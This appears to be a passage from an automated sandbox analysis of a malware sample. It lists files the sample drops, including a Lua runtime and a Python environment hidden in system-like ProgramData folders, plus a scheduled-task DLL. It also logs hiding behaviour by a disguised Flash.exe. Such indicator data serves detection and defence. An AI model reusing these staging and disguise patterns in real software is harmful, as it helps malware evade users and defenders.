Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_des.pyd	Jump to dropped file

Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\libcrypto-1_1-x64.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\cli.exe	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\_psutil_windows.cp37-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	File created: C:\ProgramData\lua\luac.exe	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\axcontrol\axcontrol.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	File created: C:\ProgramData\lua\mime\core.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\authorization\authorization.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\PyISAPI_loader.dll	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	File created: C:\ProgramData\lua\effil.dll	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	File created: C:\ProgramData\lua\lua51.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\gui.exe	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\gui-32.exe	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\bindings\_openssl.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\cli-64.exe	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	File created: C:\ProgramData\lua\alien\core.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\adsi\adsi.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\lua\ScheduleTask.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32_system32\pywintypes37.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\API-MS-Win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\gui-64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	File created: C:\ProgramData\lua\zip.dll	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	File created: C:\ProgramData\lua\socket\core.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\libssl-1_1-x64.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	File created: C:\ProgramData\lua\lua5.1.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	File created: C:\ProgramData\lua\lua.exe	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32_system32\pythoncom37.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\cli-32.exe	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\bindings\_padding.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\axdebug\axdebug.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_des.pyd	Jump to dropped file

Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\license.txt
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\readme.txt
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\README.txt
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\samples\README.txt
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\test\README.txt

Hooking and other Techniques for Hiding and Protection:

Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\ProgramData\lua\luac.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
